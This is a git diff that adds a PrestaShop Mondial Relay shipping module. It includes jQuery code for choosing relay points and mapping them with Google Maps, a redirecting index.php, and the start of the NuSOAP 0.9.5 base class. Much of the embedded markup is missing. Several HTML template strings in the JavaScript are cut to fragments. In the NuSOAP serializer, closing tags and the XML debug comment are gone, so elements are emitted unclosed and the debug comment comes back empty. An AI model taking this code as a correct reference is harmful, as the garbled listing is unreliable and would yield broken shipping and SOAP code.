function(xhr, ajaxOptions, thrownError) + { + } + }); + } + + /** + * Handle function when an user click on a shipping + * + * @param carrierSelected + * @param id_carrier + * @param MRLivraisonType + */ + function PS_MRCarrierSelectedProcess(carrierSelected, id_carrier, MRLivraisonType) + { + // Reset for any carrier changement + if (MRLivraisonType != 'LD1' && MRLivraisonType != 'LDS') + { + // Seek Relay point if it doesn't a home delivery mode + PS_MRGetRelayPoint(carrierSelected); + } + else + { + // Simply add the selected carrier to the db, relay information will be empty + PS_MRAddSelectedCarrierInDB(id_carrier); + + // Won't have any relay points + PS_MRSelectedRelayPoint['relayPointNum'] = -1; + } + } + + /** + * Hide the last displayed relay point list + */ + function PS_MRHideLastRelayPointList() + { + var value = 0; + + if (PS_MRData.PS_VERSION < '1.5') + value = $('.id_carrier:checked').val(); + else if (PS_MRData.PS_VERSION >= '1.5') + value = $('.delivery_option_radio:checked').val().replace(',', ''); + + if (value != selected_id_carrier) { + selected_id_carrier = value; + $('.PS_MRSelectedCarrier').fadeOut('fast'); + } + } + + /** + * Check if the user select a carrier and a relay point if exist + */ + function PS_MRCheckSelectedRelayPoint() + { + var input; + + // Check if the input is linked to the module and look into + // a temporary variable if a relay point has been selected + if ((input = $('input[name=id_carrier]:checked')).length && + PS_MRCarrierMethodList[input.val()] != undefined && + PS_MRSelectedRelayPoint['relayPointNum'] == 0) + { + //$('#PS_MRSelectCarrierError').fadeIn('fast'); + alert(PS_MRTranslationList['errorSelection']); + return false; + } + return true; + } + + /** + * Link the generated relay point to an handle click + * Allow to add the selected relay point in the database + */ + function PS_MRHandleSelectedRelayPoint() + { + // Link all new generated relay point Selected button to an action + $('.PS_MRSelectRelayPointButton').click(function() + { + // Unselect all previous selection (normaly juste one) + $('.PS_MRFloatRelayPointSelected').each(function() + { + $(this).attr('class', 'PS_MRFloatRelayPointSelecteIt'); + $(this).children('a').text(PS_MRTranslationList['Select']); + }); + // Make the Selection + $(this).html(PS_MRTranslationList['Selected']); + $(this).parent().attr('class', 'PS_MRFloatRelayPointSelected'); + + // Get the info about the relay point (relayPoint_RelayPointNumber_IdCarrier) + var tab = $(this).parent().parent().attr('id').split('_'); + + // Store Separated data for the ajax query + if (tab.length == 3) + { + var relayPointNumber = selected_relay_point = tab[1]; + var id_carrier = tab[2]; + PS_MRAddSelectedRelayPointInDB(relayPointNumber, id_carrier); + } + }); + } + + + /** + * Display the relay point fetched + * + * @param json + * @param blockContent + * @param carrier_id + */ + function PS_MRDisplayRelayPoint(json, blockContent, carrier_id) + { + if (typeof json != 'undefined' && typeof blockContent != 'undefined') + { + numberDisplayed = 0; + + // Disable Gmap for IE user + // if (!$.browser.msie) + PS_MRCreateGmap(carrier_id); + blockContent.fadeOut('fast', function() + { + $(this).children('td').html(''); + for (relayPoint in json.success) + { + // Check if the the content wasn't already displayed + contentBlockid = 'relayPoint_' + json.success[relayPoint].Num + '_' + carrier_id; + if (!$('#' + contentBlockid).size()) + { + // Set translation if a preselection exist + var BtTranslation = (PS_MRSelectedRelayPoint['relayPointNum'] == json.success[relayPoint].Num) ? + PS_MRTranslationList['Selected'] : PS_MRTranslationList['Select']; + + var classSelection = (PS_MRSelectedRelayPoint['relayPointNum'] == json.success[relayPoint].Num) ? + 'PS_MRFloatRelayPointSelected' : 'PS_MRFloatRelayPointSelecteIt'; + + $('
        ' + + '' + + '

        ' + json.success[relayPoint].LgAdr1 + '
        ' + json.success[relayPoint].LgAdr3 + + ' - ' + json.success[relayPoint].CP + ' - ' + json.success[relayPoint].Ville + + ' ' + json.success[relayPoint].Pays + '

        ' + + '
        ' + + '' + BtTranslation + '' + + '
        \ +
        ').appendTo($(this).children('td')); + + // Store all the object content to prevent an ajax request + relayPointDataContainers[json.success[relayPoint].Num] = json.success[relayPoint]; + ++numberDisplayed; + // Display popup for IE user + //if (!$.browser.msie) + PS_MRAddGMapMarker(carrier_id, json.success[relayPoint].Num, contentBlockid); + /* else + $('#' + contentBlockid).children('p').click(function() { + PS_MROpenPopupDetail(json.success[relayPoint].permaLinkDetail); + });*/ + } + } + PS_MRHandleSelectedRelayPoint(); + $(this).fadeIn('fast'); + }); + } + } + + /** + * Display error about the fetch of the relay point + * + * @param errorList + * @param blockContent + */ + function PS_MRDisplayErrorRelayPoint(errorList, blockContent) + { + + blockContent.fadeOut('fast', function() + { + $(this).children('td').html(''); + for (numError in errorList) + { + $('
        ' + errorList[numError] + '
        ').appendTo($(this).children('td')); + } + $(this).fadeIn('fast'); + }); + } + + /** + * Fetch the relay point + * + * @param carrierSelected + */ + function PS_MRFetchRelayPoint(carrierSelected) + { + carrier_id = carrierSelected.val(); + + // Block is an input, we need the 'tr' element + blockTR = carrierSelected.parent().parent(); + // Add a new line to the table after the clicked parent element + blockTR.after(' \ + \ +
        \ + \ +
        \ + '); + + fetchingRelayPoint[carrier_id] = $('#PS_MRSelectedCarrier_' + carrier_id); + MRjQuery.ajax( + { + type: 'POST', + url: _PS_MR_MODULE_DIR_ + 'ajax.php', + data: {'method' : 'MRGetRelayPoint', + 'id_carrier' : carrier_id, + 'ajax' : true, + 'step' : 2, + 'mrtoken' : mrtoken}, + dataType: 'json', + success: function(json) + { + if (json && json.error && json.error.length) + PS_MRDisplayErrorRelayPoint(json.error, $('#PS_MRSelectedCarrier_' + carrier_id)); + else if (json && json.success) + PS_MRDisplayRelayPoint(json, $('#PS_MRSelectedCarrier_' + carrier_id), carrier_id); + }, + error: function(xhr, ajaxOptions, thrownError) + { + // Put debug to see error detail + } + }); + } + + /** + * Display the relay point of a selected Carrier and keep fetched data + * in the html page (cache) + * + * @param carrierSelected + */ + function PS_MRGetRelayPoint(carrierSelected) + { + carrier_id = carrierSelected.val(); + + // Init back the inital view, hide existing element, (keep cached) + element = 0; + totalElement = $('.PS_MRSelectedCarrier').size(); + + // Check if the element has already been fetched + if (totalElement) + // It Works like a foreach + $('.PS_MRSelectedCarrier').fadeOut('fast', function() + { + if ((element + 1) >= totalElement) + { + // Check if the user already clicked and if the process is done + if (typeof fetchingRelayPoint[carrier_id] != 'undefined') + { + fetchingRelayPoint[carrier_id].fadeIn('fast'); + return ; + } + // If the element isn't cached, we fetch it + PS_MRFetchRelayPoint(carrierSelected); + } + ++element; + }); + else + PS_MRFetchRelayPoint(carrierSelected); + } + + /** + * Create the Gmap Block and cache the js object for the carrier + * + * @param id_carrier + */ + function PS_MRCreateGmap(id_carrier) + { + // This has been written this way because it needed to have a known block + // present everytime in the page. Body is the only one sure. + // It's an hidden block which will be put in the right block when user select his + // own carrier + $('body').prepend('\ + \ + \ +
        \ +
        '); + $('#PS_MRGmap_' + id_carrier).gmap3( + { + action: 'init', + callback: function(result) + { + GmapList[id_carrier] = $(this); + // Can't set the display to none by default (bug due to + // navigator that tell to google that the content size = 0 + //$(this).toggle('fast'); + } + } + ); + } + + /** + * Resize the map when the div got changement about dimension / position and displaying + * + * @param $map + */ + function PS_MRGmapResizeEvent($map) + { + gmap = $map.gmap3({action:'get'}); + google.maps.event.trigger(gmap, 'resize'); + } + + /** + * Move the view of the gmap to a marker + * liable to the relay point + * + * @param $map + * @param marker + * @param relayNum + */ + function PS_MRGmapPlaceViewOnMarker($map, marker, relayNum) + { + $map.gmap3( + { + action:'panTo', + args:[marker.position], + callback: function() + { + PS_MRDisplayClickedGmapWindow(marker, relayNum, $map); + + // Make dancing markers in Firefox / IE will use the CPU to 50 to 100 % about + if (!$.browser.msie && !$.browser.mozilla) + (function(m) + { + setTimeout(function() + { + m.setAnimation(google.maps.Animation.BOUNCE); + }, 200); + })(marker); + // marker.setAnimation(google.maps.Animation.BOUNCE); + } + }); + } + + /** + * Stop all dancing marker of the current selected carrier + * + * @param currentMarkerList + */ + function PS_MRStopDancingMarkers(currentMarkerList) + { + for (markerNumber in currentMarkerList) + if (currentMarkerList[markerNumber] != undefined) + if (currentMarkerList[markerNumber].getAnimation() != null) + currentMarkerList[markerNumber].setAnimation(null); + } + + /** + * Display the Gmap of the selected relay point + * + * @param contentBlockid + * @param $map + */ + function PS_MRDisplayGmap(contentBlockid, $map) + { + var tab = contentBlockid.split('_'); + var relayPointNumber = tab[1]; + var id_carrier = tab[2]; + + // Stop the dancing marker of the current carrier + PS_MRStopDancingMarkers(markerList[id_carrier]); + if ($('#PS_MRGmap_' + id_carrier).css('display') == 'none') + { + $('#' + contentBlockid).after($('#PS_MRGmap_' + id_carrier)); + $('#PS_MRGmap_' + id_carrier).slideDown('fast', function() + { + PS_MRGmapResizeEvent($map); + PS_MRGmapPlaceViewOnMarker($map, markerList[id_carrier][relayPointNumber], relayPointNumber); + }); + } + else + { + previousElem = $('#PS_MRGmap_' + id_carrier).prev(); + //$('#' + contentBlockid).after($('#PS_MRGmap_' + id_carrier)); + $('#PS_MRGmap_' + id_carrier).toggle('fast', function() + { + if (previousElem.attr('id') != contentBlockid) + { + $('#' + contentBlockid).after($(this)); + $('#PS_MRGmap_' + id_carrier).slideDown('fast', function() + { + PS_MRGmapPlaceViewOnMarker($map, markerList[id_carrier][relayPointNumber], relayPointNumber); + }); + } + }); + } + } + + /** + * Generate an html block to display the opening hours details + * + * @param relayInfo + */ + function PS_MRGetTimeRelayDetail(relayInfo) + { + onClick = 'onClick="PS_MROpenPopupDetail(\'' + relayInfo.permaLinkDetail + '\')"'; + + var html = ' \ +
        \ + \ +

        ' + relayInfo.LgAdr1 + '
        ' + relayInfo.LgAdr3 + + ' - ' + relayInfo.CP + ' - ' + relayInfo.Ville + + ' ' + relayInfo.Pays + '

        \ + ' + PS_MRTranslationList['moreDetails'] + ' \ +
        '; + return html; + } + + /** + * Call a MondialRelay page into a popup + * + * @param url + */ + function PS_MROpenPopupDetail(url) + { + window.open(url, 'MondialRelay', + 'height=200, width=400, top=100, left=100, toolbar=no, menubar=yes, \ + location=no, resizable=yes, scrollbars=no, status=no'); + } + + /** + * Display the gmap windows selected by the user + * + * @param marker + * @param relayNum + * @param mapObject + */ + function PS_MRDisplayClickedGmapWindow(marker, relayNum, mapObject) + { + if (last_gmap_info_clicked.length) + { + // Close the last opening window in gmap + if ((lastWin = mapObject.gmap3({action:'get', name:'infowindow', tag:last_gmap_info_clicked}))) + lastWin.close(); + } + + // Open the selected detail window + map = mapObject.gmap3('get'); + if ((currentWindow = mapObject.gmap3({action:'get', name:'infowindow', tag:relayNum}))) + currentWindow.open(map, marker); + last_gmap_info_clicked = relayNum; + } + + /** + * Add a new Marker to a Gmap for a carrier using the + * relay point information + * + * @param id_carrier + * @param relayPointNumber + * @param contentBlockid + */ + function PS_MRAddGMapMarker(id_carrier, relayPointNumber, contentBlockid) + { + // Check if the gmap has been properly created + if (GmapList[id_carrier] == undefined) + return ; + var relayInfo = relayPointDataContainers[relayPointNumber]; + var detailContentHtml = PS_MRGetTimeRelayDetail(relayInfo); + + // Add Marker to the map + var fullFormatedAddress = relayInfo.LgAdr1 + ' ' + relayInfo.LgAdr3 + ' ' + + relayInfo.CP + ' ' + relayInfo.Ville + ' ' + relayInfo.Pays; + GmapList[id_carrier].gmap3( + { + action: 'addMarker', + address: fullFormatedAddress, + tag:relayInfo.Num, + map: + { + center: true, + zoom: 14 + }, + marker: { + events: + { + click:function(marker, event, data) + { + PS_MRDisplayClickedGmapWindow(marker, relayInfo.Num, $(this)); + } + }, + callback: function(marker) + { + if (marker) + { + // Check if the a marker list exist for the carrier, + if (markerList[id_carrier] == undefined) + markerList[id_carrier] = new Object(); + + // Store the marker in the markerList of the carrier + markerList[id_carrier][relayPointNumber] = marker; + + // Link all relay point line info to an action + $('#' + contentBlockid).children('p').click(function() + { + PS_MRDisplayGmap($(this).parent().attr('id'), GmapList[id_carrier]); + }); + return true; + } + else + $('#' + contentBlockid).children('p').click(function() + { + PS_MROpenPopupDetail(relayInfo.permaLinkDetail); + }); + } + }, + infowindow: + { + options: {content:detailContentHtml}, + tag:relayInfo.Num, + callback: function(infowindow) { + + var windowList = $(this).gmap3({action:'get', name:'infowindow', all:true}); + $.each(windowList, function(i, elem) { + elem.close(); + }); + } + } + }); + return false; + } + + /** + * Display the selected form block for the configuration page + * @param block_id + */ + function PS_MRDisplayConfigurationForm(block_id) + { + var block_form_id = block_id + '_block'; + var total_form = $('.PS_MRFormType').length; + var i = 0; + + $('.PS_MRFormType').each(function() + { + if ($(this).attr('id') != block_form_id) + $(this).css('display', 'none'); + if ((i + 1) == total_form) + { + $('#' + block_form_id).fadeIn('fast'); + $('#' + block_id).parents('ul').children('li').attr('class', ''); + $('#' + block_id).parent().attr('class', 'selected'); + } + ++i; + }); + + if ($('#' + block_form_id).length == 0) + $('#MR_error_account').fadeIn('fast'); + } + + function checkToDisplayRelayList() + { + if (typeof PS_MRData != 'undefined') + { + PS_MRSelectedRelayPoint['relayPointNum'] = selected_relay_point = PS_MRData.pre_selected_relay; + // PS_VERSION < '1.5' + if (PS_MRData.PS_VERSION < '1.5') + { + selected_id_carrier = $('input[name=id_carrier]:checked').val(); + // Bind id_carrierX to an ajax call + $.each(PS_MRData.carrier_list, function(i, carrier) { + $('#id_carrier' + carrier.id_carrier).click(function(){ + PS_MRCarrierSelectedProcess($(this), carrier.id_carrier, carrier.dlv_mode); + }); + PS_MRCarrierMethodList[carrier.id_carrier] = carrier.id_mr_method; + if ($('#id_carrier' + carrier.id_carrier).attr('checked')){ + PS_MRCarrierSelectedProcess($('#id_carrier' + carrier.id_carrier), carrier.id_carrier, carrier.dlv_mode); + } + }); + } + else if (PS_MRData.PS_VERSION >= '1.5' && PS_MRData.carrier) + { // 1.5 way + selected_id_carrier = $('input[class=delivery_option_radio]:checked').val().replace(',', ''); + var carrier_block = $('input[class=delivery_option_radio]:checked').parent().parent().parent('div.delivery_option'); + // alert(carrier_block.attr('class')); + + PS_MRCarrierMethodList[PS_MRData.carrier.id] = PS_MRData.carrier.id_mr_method; + PS_MRSelectedRelayPoint['carrier_id'] = PS_MRData.carrier.id; + // Simulate 1.4 table to store the relay point fetched + $(carrier_block).append( + '
        ' + +'' + +'' + + '' + + '' + +'
        ' + +'
        '); + + PS_MRCarrierMethodList[PS_MRData.carrier.id_carrier] = PS_MRData.carrier.id_mr_method; + PS_MRCarrierSelectedProcess($('#id_carrier' + PS_MRData.carrier.id), PS_MRData.carrier.id, PS_MRData.carrier.mr_dlv_mode); + // alert(selected_id_carrier); + } + + // Handle input click of the other input to hide the previous relay point list displayed + $('input[name=id_carrier], .delivery_option_radio').click(function(){ + // Hide MR input if one of them is not selected + if (PS_MRCarrierMethodList[$(this).val()] == undefined){ + PS_MRHideLastRelayPointList(); + } + }); + + // 1.5 OPC Validation - Warn user to select a relay point + $('.payment_module a').live('click', function() { + if (PS_MRData.PS_VERSION >= '1.5' && PS_MRData.carrier) + { + var _return = !(!PS_MRSelectedRelayPoint['carrier_id'] || !PS_MRSelectedRelayPoint['relayPointNum']); + if (!_return) + alert(PS_MRTranslationList['errorSelection']); + return _return; + } + }); + } + } + + $(document).ready(function() + { + $('#form').submit(function() + { + return PS_MRCheckSelectedRelayPoint(); + }); + $('#toggleStatusOrderList').click(function() + { + toggleOrderListSelection(); + }); + $('#toggleStatusHistoryList').click(function() + { + toggleHistoryListSelection(); + }); + $('#generate').click(function() + { + generateTicketsAjax(); + }); + $('#PS_MRSubmitButtonDeleteHistories').click(function() + { + deleteSelectedHistories(); + }); + + // Shipping method list + $('.send_disable_carrier_form').click(function() { + $(this).parent('form').submit(); + }); + + // Configuration form page + $('#MR_config_menu a').each(function() { + $(this).click(function() { + PS_MRDisplayConfigurationForm($(this).attr('id')); + }); + }) + + $('input[name="processCarrier"]').click(function() { + if (PS_MRData != 'undefined' && PS_MRData.carrier != null) { + var result = false; + $.each(PS_MRData.carrier_list, function(key, value) { + if (value.id_carrier == selected_id_carrier && selected_relay_point > 0) + result = true; + }); + if (result == true) + return true; + alert(PS_MRWarningMessage); + return false; + } + return true; + }); + + if (typeof(PS_MR_SELECTED_TAB ) != 'undefined') + $('#MR_' + PS_MR_SELECTED_TAB + '_block').fadeIn('fast'); + + // Have the
      • elements centered (TODO: Change it using css if possible) + if ($('#MR_config_menu').size()) + { + var width = $('#MR_config_menu').width(); + + // Take directly the ul width woudln't work + var ul_width = 0; + + $('#MR_config_menu').find('ul > li').each(function() { + + var padding_left = parseInt($(this).css('padding-left').replace(/[^-\d\.]/g, '')); + var padding_right = parseInt($(this).css('padding-right').replace(/[^-\d\.]/g, '')); + + ul_width += parseInt($(this).width()) + padding_left + padding_right; + }); + + width = ((width - ul_width) / 2); + $('#MR_config_menu').children('ul').css('margin-left', width + 'px'); + } + }); + + // To have public method access for this closure + return { + initFront : function() { + checkToDisplayRelayList(); + }, + uninstall : function(url) + { + return PS_MRGetUninstallDetail(url); + } + }; +})(jQuery); diff --git a/modules/mondialrelay/lib/index.php b/modules/mondialrelay/lib/index.php new file mode 100755 index 0000000..319128b --- /dev/null +++ b/modules/mondialrelay/lib/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/mondialrelay/lib/nusoap/class.nusoap_base.php b/modules/mondialrelay/lib/nusoap/class.nusoap_base.php new file mode 100755 index 0000000..8bebb8d --- /dev/null +++ b/modules/mondialrelay/lib/nusoap/class.nusoap_base.php @@ -0,0 +1,995 @@ + +* @author Scott Nichol +* @version $Id$ +* @access public +*/ +class nusoap_base { + /** + * Identification for HTTP headers. + * + * @var string + * @access private + */ + var $title = 'NuSOAP'; + /** + * Version for HTTP headers. + * + * @var string + * @access private + */ + var $version = '0.9.5'; + /** + * CVS revision for HTTP headers. + * + * @var string + * @access private + */ + var $revision = '$Revision$'; + /** + * Current error string (manipulated by getError/setError) + * + * @var string + * @access private + */ + var $error_str = ''; + /** + * Current debug string (manipulated by debug/appendDebug/clearDebug/getDebug/getDebugAsXMLComment) + * + * @var string + * @access private + */ + var $debug_str = ''; + /** + * toggles automatic encoding of special characters as entities + * (should always be true, I think) + * + * @var boolean + * @access private + */ + var $charencoding = true; + /** + * the debug level for this instance + * + * @var integer + * @access private + */ + var $debugLevel; + + /** + * set schema version + * + * @var string + * @access public + */ + var $XMLSchemaVersion = 'http://www.w3.org/2001/XMLSchema'; + + /** + * charset encoding for outgoing messages + * + * @var string + * @access public + */ + var $soap_defencoding = 'ISO-8859-1'; + //var $soap_defencoding = 'UTF-8'; + + /** + * namespaces in an array of prefix => uri + * + * this is "seeded" by a set of constants, but it may be altered by code + * + * @var array + * @access public + */ + var $namespaces = array( + 'SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/', + 'xsd' => 'http://www.w3.org/2001/XMLSchema', + 'xsi' => 'http://www.w3.org/2001/XMLSchema-instance', + 'SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/' + ); + + /** + * namespaces used in the current context, e.g. during serialization + * + * @var array + * @access private + */ + var $usedNamespaces = array(); + + /** + * XML Schema types in an array of uri => (array of xml type => php type) + * is this legacy yet? + * no, this is used by the nusoap_xmlschema class to verify type => namespace mappings. + * @var array + * @access public + */ + var $typemap = array( + 'http://www.w3.org/2001/XMLSchema' => array( + 'string'=>'string','boolean'=>'boolean','float'=>'double','double'=>'double','decimal'=>'double', + 'duration'=>'','dateTime'=>'string','time'=>'string','date'=>'string','gYearMonth'=>'', + 'gYear'=>'','gMonthDay'=>'','gDay'=>'','gMonth'=>'','hexBinary'=>'string','base64Binary'=>'string', + // abstract "any" types + 'anyType'=>'string','anySimpleType'=>'string', + // derived datatypes + 'normalizedString'=>'string','token'=>'string','language'=>'','NMTOKEN'=>'','NMTOKENS'=>'','Name'=>'','NCName'=>'','ID'=>'', + 'IDREF'=>'','IDREFS'=>'','ENTITY'=>'','ENTITIES'=>'','integer'=>'integer','nonPositiveInteger'=>'integer', + 'negativeInteger'=>'integer','long'=>'integer','int'=>'integer','short'=>'integer','byte'=>'integer','nonNegativeInteger'=>'integer', + 'unsignedLong'=>'','unsignedInt'=>'','unsignedShort'=>'','unsignedByte'=>'','positiveInteger'=>''), + 'http://www.w3.org/2000/10/XMLSchema' => array( + 'i4'=>'','int'=>'integer','boolean'=>'boolean','string'=>'string','double'=>'double', + 'float'=>'double','dateTime'=>'string', + 'timeInstant'=>'string','base64Binary'=>'string','base64'=>'string','ur-type'=>'array'), + 'http://www.w3.org/1999/XMLSchema' => array( + 'i4'=>'','int'=>'integer','boolean'=>'boolean','string'=>'string','double'=>'double', + 'float'=>'double','dateTime'=>'string', + 'timeInstant'=>'string','base64Binary'=>'string','base64'=>'string','ur-type'=>'array'), + 'http://soapinterop.org/xsd' => array('SOAPStruct'=>'struct'), + 'http://schemas.xmlsoap.org/soap/encoding/' => array('base64'=>'string','array'=>'array','Array'=>'array'), + 'http://xml.apache.org/xml-soap' => array('Map') + ); + + /** + * XML entities to convert + * + * @var array + * @access public + * @deprecated + * @see expandEntities + */ + var $xmlEntities = array('quot' => '"','amp' => '&', + 'lt' => '<','gt' => '>','apos' => "'"); + + /** + * constructor + * + * @access public + */ + function nusoap_base() { + $this->debugLevel = $GLOBALS['_transient']['static']['nusoap_base']['globalDebugLevel']; + } + + /** + * gets the global debug level, which applies to future instances + * + * @return integer Debug level 0-9, where 0 turns off + * @access public + */ + function getGlobalDebugLevel() { + return $GLOBALS['_transient']['static']['nusoap_base']['globalDebugLevel']; + } + + /** + * sets the global debug level, which applies to future instances + * + * @param int $level Debug level 0-9, where 0 turns off + * @access public + */ + function setGlobalDebugLevel($level) { + $GLOBALS['_transient']['static']['nusoap_base']['globalDebugLevel'] = $level; + } + + /** + * gets the debug level for this instance + * + * @return int Debug level 0-9, where 0 turns off + * @access public + */ + function getDebugLevel() { + return $this->debugLevel; + } + + /** + * sets the debug level for this instance + * + * @param int $level Debug level 0-9, where 0 turns off + * @access public + */ + function setDebugLevel($level) { + $this->debugLevel = $level; + } + + /** + * adds debug data to the instance debug string with formatting + * + * @param string $string debug data + * @access private + */ + function debug($string){ + if ($this->debugLevel > 0) { + $this->appendDebug($this->getmicrotime().' '.get_class($this).": $string\n"); + } + } + + /** + * adds debug data to the instance debug string without formatting + * + * @param string $string debug data + * @access public + */ + function appendDebug($string){ + if ($this->debugLevel > 0) { + // it would be nice to use a memory stream here to use + // memory more efficiently + $this->debug_str .= $string; + } + } + + /** + * clears the current debug data for this instance + * + * @access public + */ + function clearDebug() { + // it would be nice to use a memory stream here to use + // memory more efficiently + $this->debug_str = ''; + } + + /** + * gets the current debug data for this instance + * + * @return debug data + * @access public + */ + function &getDebug() { + // it would be nice to use a memory stream here to use + // memory more efficiently + return $this->debug_str; + } + + /** + * gets the current debug data for this instance as an XML comment + * this may change the contents of the debug data + * + * @return debug data as an XML comment + * @access public + */ + function &getDebugAsXMLComment() { + // it would be nice to use a memory stream here to use + // memory more efficiently + while (strpos($this->debug_str, '--')) { + $this->debug_str = str_replace('--', '- -', $this->debug_str); + } + $ret = ""; + return $ret; + } + + /** + * expands entities, e.g. changes '<' to '<'. + * + * @param string $val The string in which to expand entities. + * @access private + */ + function expandEntities($val) { + if ($this->charencoding) { + $val = str_replace('&', '&', $val); + $val = str_replace("'", ''', $val); + $val = str_replace('"', '"', $val); + $val = str_replace('<', '<', $val); + $val = str_replace('>', '>', $val); + } + return $val; + } + + /** + * returns error string if present + * + * @return mixed error string or false + * @access public + */ + function getError(){ + if($this->error_str != ''){ + return $this->error_str; + } + return false; + } + + /** + * sets error string + * + * @return boolean $string error string + * @access private + */ + function setError($str){ + $this->error_str = $str; + } + + /** + * detect if array is a simple array or a struct (associative array) + * + * @param mixed $val The PHP array + * @return string (arraySimple|arrayStruct) + * @access private + */ + function isArraySimpleOrStruct($val) { + $keyList = array_keys($val); + foreach ($keyList as $keyListValue) { + if (!is_int($keyListValue)) { + return 'arrayStruct'; + } + } + return 'arraySimple'; + } + + /** + * serializes PHP values in accordance w/ section 5. Type information is + * not serialized if $use == 'literal'. + * + * @param mixed $val The value to serialize + * @param string $name The name (local part) of the XML element + * @param string $type The XML schema type (local part) for the element + * @param string $name_ns The namespace for the name of the XML element + * @param string $type_ns The namespace for the type of the element + * @param array $attributes The attributes to serialize as name=>value pairs + * @param string $use The WSDL "use" (encoded|literal) + * @param boolean $soapval Whether this is called from soapval. + * @return string The serialized element, possibly with child elements + * @access public + */ + function serialize_val($val,$name=false,$type=false,$name_ns=false,$type_ns=false,$attributes=false,$use='encoded',$soapval=false) { + $this->debug("in serialize_val: name=$name, type=$type, name_ns=$name_ns, type_ns=$type_ns, use=$use, soapval=$soapval"); + $this->appendDebug('value=' . $this->varDump($val)); + $this->appendDebug('attributes=' . $this->varDump($attributes)); + + if (is_object($val) && get_class($val) == 'soapval' && (! $soapval)) { + $this->debug("serialize_val: serialize soapval"); + $xml = $val->serialize($use); + $this->appendDebug($val->getDebug()); + $val->clearDebug(); + $this->debug("serialize_val of soapval returning $xml"); + return $xml; + } + // force valid name if necessary + if (is_numeric($name)) { + $name = '__numeric_' . $name; + } elseif (! $name) { + $name = 'noname'; + } + // if name has ns, add ns prefix to name + $xmlns = ''; + if($name_ns){ + $prefix = 'nu'.rand(1000,9999); + $name = $prefix.':'.$name; + $xmlns .= " xmlns:$prefix=\"$name_ns\""; + } + // if type is prefixed, create type prefix + if($type_ns != '' && $type_ns == $this->namespaces['xsd']){ + // need to fix this. shouldn't default to xsd if no ns specified + // w/o checking against typemap + $type_prefix = 'xsd'; + } elseif($type_ns){ + $type_prefix = 'ns'.rand(1000,9999); + $xmlns .= " xmlns:$type_prefix=\"$type_ns\""; + } + // serialize attributes if present + $atts = ''; + if($attributes){ + foreach($attributes as $k => $v){ + $atts .= " $k=\"".$this->expandEntities($v).'"'; + } + } + // serialize null value + if (is_null($val)) { + $this->debug("serialize_val: serialize null"); + if ($use == 'literal') { + // TODO: depends on minOccurs + $xml = "<$name$xmlns$atts/>"; + $this->debug("serialize_val returning $xml"); + return $xml; + } else { + if (isset($type) && isset($type_prefix)) { + $type_str = " xsi:type=\"$type_prefix:$type\""; + } else { + $type_str = ''; + } + $xml = "<$name$xmlns$type_str$atts xsi:nil=\"true\"/>"; + $this->debug("serialize_val returning $xml"); + return $xml; + } + } + // serialize if an xsd built-in primitive type + if($type != '' && isset($this->typemap[$this->XMLSchemaVersion][$type])){ + $this->debug("serialize_val: serialize xsd built-in primitive type"); + if (is_bool($val)) { + if ($type == 'boolean') { + $val = $val ? 'true' : 'false'; + } elseif (! $val) { + $val = 0; + } + } else if (is_string($val)) { + $val = $this->expandEntities($val); + } + if ($use == 'literal') { + $xml = "<$name$xmlns$atts>$val"; + $this->debug("serialize_val returning $xml"); + return $xml; + } else { + $xml = "<$name$xmlns xsi:type=\"xsd:$type\"$atts>$val"; + $this->debug("serialize_val returning $xml"); + return $xml; + } + } + // detect type and serialize + $xml = ''; + switch(true) { + case (is_bool($val) || $type == 'boolean'): + $this->debug("serialize_val: serialize boolean"); + if ($type == 'boolean') { + $val = $val ? 'true' : 'false'; + } elseif (! $val) { + $val = 0; + } + if ($use == 'literal') { + $xml .= "<$name$xmlns$atts>$val"; + } else { + $xml .= "<$name$xmlns xsi:type=\"xsd:boolean\"$atts>$val"; + } + break; + case (is_int($val) || is_long($val) || $type == 'int'): + $this->debug("serialize_val: serialize int"); + if ($use == 'literal') { + $xml .= "<$name$xmlns$atts>$val"; + } else { + $xml .= "<$name$xmlns xsi:type=\"xsd:int\"$atts>$val"; + } + break; + case (is_float($val)|| is_double($val) || $type == 'float'): + $this->debug("serialize_val: serialize float"); + if ($use == 'literal') { + $xml .= "<$name$xmlns$atts>$val"; + } else { + $xml .= "<$name$xmlns xsi:type=\"xsd:float\"$atts>$val"; + } + break; + case (is_string($val) || $type == 'string'): + $this->debug("serialize_val: serialize string"); + $val = $this->expandEntities($val); + if ($use == 'literal') { + $xml .= "<$name$xmlns$atts>$val"; + } else { + $xml .= "<$name$xmlns xsi:type=\"xsd:string\"$atts>$val"; + } + break; + case is_object($val): + $this->debug("serialize_val: serialize object"); + if (get_class($val) == 'soapval') { + $this->debug("serialize_val: serialize soapval object"); + $pXml = $val->serialize($use); + $this->appendDebug($val->getDebug()); + $val->clearDebug(); + } else { + if (! $name) { + $name = get_class($val); + $this->debug("In serialize_val, used class name $name as element name"); + } else { + $this->debug("In serialize_val, do not override name $name for element name for class " . get_class($val)); + } + foreach(get_object_vars($val) as $k => $v){ + $pXml = isset($pXml) ? $pXml.$this->serialize_val($v,$k,false,false,false,false,$use) : $this->serialize_val($v,$k,false,false,false,false,$use); + } + } + if(isset($type) && isset($type_prefix)){ + $type_str = " xsi:type=\"$type_prefix:$type\""; + } else { + $type_str = ''; + } + if ($use == 'literal') { + $xml .= "<$name$xmlns$atts>$pXml"; + } else { + $xml .= "<$name$xmlns$type_str$atts>$pXml"; + } + break; + break; + case (is_array($val) || $type): + // detect if struct or array + $valueType = $this->isArraySimpleOrStruct($val); + if($valueType=='arraySimple' || preg_match('/^ArrayOf/',$type)){ + $this->debug("serialize_val: serialize array"); + $i = 0; + if(is_array($val) && count($val)> 0){ + foreach($val as $v){ + if(is_object($v) && get_class($v) == 'soapval'){ + $tt_ns = $v->type_ns; + $tt = $v->type; + } elseif (is_array($v)) { + $tt = $this->isArraySimpleOrStruct($v); + } else { + $tt = gettype($v); + } + $array_types[$tt] = 1; + // TODO: for literal, the name should be $name + $xml .= $this->serialize_val($v,'item',false,false,false,false,$use); + 